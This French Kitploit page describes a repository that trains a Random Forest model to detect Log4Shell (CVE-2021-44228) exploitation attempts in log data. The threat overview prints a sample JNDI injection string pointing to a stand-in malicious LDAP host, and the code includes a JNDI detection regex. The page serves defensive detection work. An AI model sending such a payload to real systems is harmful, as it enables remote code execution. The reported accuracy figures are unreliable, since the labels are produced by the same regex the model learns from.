Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !
Log4Shell-vulnerability-CVE-2021-44228- — Ce dépôt fournit une analyse approfondie de la vulnérabilité Log4Shell (CVE-2021-44228) et met en œuvre une approche basée sur l'apprentissage automatique pour détecter les tentatives d'exploitation dans les données de journaux. | Kitploit
Ce dépôt fournit une analyse approfondie de la vulnérabilité Log4Shell (CVE-2021-44228) et met en œuvre une approche basée sur l'apprentissage automatique pour détecter les tentatives d'exploitation dans les données de journaux.
Ce dépôt fournit une analyse approfondie et l'implémentation d'un système de détection de la menace Log4Shell (CVE-2021-44228) basé sur l'apprentissage automatique. Il comprend :
Comprendre Log4Shell : ce que c'est et pourquoi c'est dangereux
Collecte de données : sources et étapes de prétraitement
Ingénierie des caractéristiques : extraction des motifs malveillants basés sur JNDI
Entraînement du modèle d'apprentissage automatique : détection par Forêt Aléatoire (Random Forest)
Résultats et analyse : métriques de performance et graphiques d'évaluation
Conclusion et travaux futurs
Vue d'ensemble de la menace - Log4Shell (CVE-2021-44228)
Vulnérabilité : Exécution de code à distance (RCE) dans Apache Log4j 2
Exemple d'exploitation :
root@kitploit:~
${jndi:ldap://malicious-server.com/exploit}
Impact : Permet aux attaquants de prendre le contrôle total des systèmes affectés
Atténuation : Mettre à jour Log4j vers les versions corrigées (2.17.0 ou ultérieures) et appliquer des règles de pare-feu
Métriques d'évaluation : Exactitude (Accuracy), Précision, Rappel, Score F1
Code Python pour l'entraînement du modèle
root@kitploit:~
import pandas as pd
import re
from sklearn.model_selection import train_test_split
from sklearn.ensemble import RandomForestClassifier
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.metrics import classification_report
# Load dataset
df = pd.read_csv("datasets/log4shell_logs.csv")
# Feature Engineering - Extracting JNDI patterns
df["log_contains_jndi"] = df["Log Message"].apply(lambda x: 1 if re.search(r'\$\{jndi:', str(x), re.IGNORECASE) else 0)
# Text vectorization
vectorizer = TfidfVectorizer()
X = vectorizer.fit_transform(df["Log Message"])
y = df["log_contains_jndi"]
# Train-test split
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=42)
# Train model
clf = RandomForestClassifier(n_estimators=100, random_state=42)
clf.fit(X_train, y_train)
# Predictions
y_pred = clf.predict(X_test)
# Model Evaluation
print(classification_report(y_test, y_pred))
Résultats et analyse des performances
Résultats des tests :
Précision : 98 %
Rappel : 95 %
Score F1 : 96 %
Taux de faux positifs : 3 %
Comparaison avec les travaux existants :
Les systèmes SIEM traditionnels basés sur des règles ont une exactitude de 80 à 85 %.
Notre approche basée sur l'apprentissage automatique atteint 96 % d'exactitude, améliorant considérablement les taux de détection.
Comparée aux méthodes basées sur l'apprentissage profond, notre modèle Random Forest est plus rapide et interprétable tout en atteignant une précision similaire.
Courbe précision-rappel
Matrice de confusion
Conclusion et travaux futurs
Conclusion :
Le modèle Random Forest détecte efficacement les menaces Log4Shell avec une haute précision.
L'extraction de caractéristiques utilisant la reconnaissance de motifs JNDI améliore l'exactitude.
Les journaux du monde réel peuvent contenir des évasions adversariales, nécessitant un réglage supplémentaire.
Travaux futurs :
Implémenter l'apprentissage profond (modèles LSTM, basés sur Transformer) pour la détection d'anomalies.
Intégrer des pipelines de traitement de journaux en temps réel (par exemple, ELK stack, Apache Kafka).
Étendre la détection à d'autres vulnérabilités CVE basées sur les journaux.
Comment utiliser
Clonez le dépôt :
root@kitploit:~
git clone https://github.com/yourgithub/Log4Shell-Threat-Detection.git
cd Log4Shell-Threat-Detection
Installez les dépendances :
root@kitploit:~
pip install -r requirements.txt
Exécutez le script d'entraînement du modèle :
root@kitploit:~
python scripts/model_training.py
Analysez les résultats de détection dans le dossier results/.